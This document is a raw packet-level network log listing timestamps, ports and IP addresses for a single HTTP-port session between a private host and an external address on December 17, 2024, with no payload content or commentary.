Dec 17, 2024 10:23:29.830380917 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.830809116 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.830820084 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.830832005 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.830857038 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.831026077 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.831068039 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.831629992 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.831640959 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.831655979 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.831686974 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.882316113 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.882339954 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.882353067 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.882422924 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.882426977 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.882443905 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.882457972 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.882469893 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.882494926 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.882523060 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.882905960 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.882917881 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.882930040 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.882952929 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.882987022 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.883038998 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.883703947 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.883716106 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.883727074 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.883769989 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.884001970 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.884047985 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.884546995 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.884558916 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.884569883 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.884607077 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.884618044 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.884661913 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.885354042 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.885366917 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.885421991 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.948600054 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.948623896 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.948636055 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.948713064 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.948829889 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.948843002 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.948853970 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.948873997 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.948893070 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.948935032 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.949589968 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.949639082 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.949671984 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.949686050 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.949721098 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.949762106 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.950418949 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.950459957 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.950469017 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.950481892 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.950520992 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.951010942 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.951023102 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.951035976 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.951066971 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.951127052 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.951165915 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.951791048 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.951859951 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.951873064 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.951894045 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.993122101 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.011558056 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.011584044 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.011614084 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.011641026 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.011688948 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.011733055 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.011831999 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.011871099 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.011883974 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.011909008 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.012170076 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.012244940 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.012862921 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.012875080 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.012887001 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.012939930 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.012962103 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.013020039 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.013712883 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.013725996 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.013737917 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.013767004 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.013923883 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.013991117 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.014482021 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.014492989 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.014509916 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.014529943 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.014569998 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.014606953 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.015069008 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.015079975 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.015091896 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.015120029 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.015214920 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.015254021 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.015887976 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.015901089 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.015914917 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.015939951 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.015979052 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.016016960 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.016676903 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.016685009 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.016693115 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.016730070 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.016824961 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.016918898 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.017483950 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.017494917 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.017505884 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.017529964 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.017683983 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.017724991 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.018246889 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.018416882 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.018451929 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.018471956 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.018484116 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.018517971 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.019047022 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.019089937 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.019102097 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.019133091 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.019198895 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.019237995 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.019980907 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.019994020 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.020005941 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.020034075 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.020039082 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.020071030 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.021018028 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.021028996 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.021039963 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.021071911 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.021109104 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.021151066 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.021481991 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.021492958 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.021503925 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.021537066 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.021620035 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.021658897 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.022236109 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.022284985 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.022296906 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.022322893 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.022411108 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.022450924 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.023107052 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.023118019 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.023128986 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.023159027 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.023179054 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.023219109 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.024032116 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.024053097 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.024063110 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.024090052 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.071260929 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.074101925 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.074131012 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.074141979 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.074186087 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.074199915 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.074243069 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.074390888 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.074439049 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.074450970 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.074481010 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.074558973 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.074601889 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.075212002 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.075225115 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.075237036 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.075265884 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.075357914 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.075401068 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.075973034 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.076030970 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.076041937 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.076070070 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.076153040 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.076195002 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.076823950 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.076836109 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.076848030 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.076881886 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.076975107 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.077016115 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.077660084 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.118096113 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.140736103 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.140913963 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.140925884 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.140953064 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.141064882 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.141077042 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.141088963 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.141099930 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.141103983 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.141123056 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.141819000 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.141861916 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.141905069 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.141954899 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.141966105 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.141978025 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.141993046 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.142041922 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.142625093 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.142637014 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.142648935 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.142672062 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.142843962 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.142883062 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.143372059 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.143440962 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.143452883 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.143482924 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.144005060 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.144054890 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.144241095 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.144253969 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.144290924 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.146939039 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.203736067 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.203769922 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.203780890 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.203819036 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.203958035 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.203998089 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.204123020 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.204176903 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.204189062 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.204216957 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.204494953 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.204535961 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.205229998 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.205250025 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.205260992 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.205288887 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.205476046 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.205514908 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.206170082 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.206181049 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.206188917 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.206249952 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.206336975 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.206724882 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.206756115 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.206767082 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.206789017 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.206857920 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.206896067 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.207418919 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.207482100 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.207493067 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.207521915 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.207547903 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.207582951 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.208110094 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.208168983 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.208179951 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.208205938 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.208319902 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.208357096 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.208904982 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.208924055 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.208940029 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.208964109 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.209031105 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.209069014 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.209781885 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.209800959 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.209811926 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.209839106 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.209903002 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.209949017 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.210537910 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.210551023 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.210562944 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.210587025 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.210769892 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.210808039 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.211371899 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.211383104 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.211395025 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.211426973 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.211496115 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.211534977 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.212114096 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.212182999 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.212193966 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.212222099 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.212244987 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.212285042 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.213022947 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.213095903 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.213113070 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.213135958 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.213207960 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.213247061 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.213773012 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.213784933 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.213795900 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.213841915 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.213943958 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.213980913 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.214585066 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.214596033 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.214607000 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.214631081 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.214749098 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.214829922 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.215349913 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.215401888 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.215415001 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.215440035 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.215611935 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.215651989 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:30.216166019 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.216233015 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.216243982 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:30.216275930 CET	49752	80	192.168.2.7	185.215.113.16
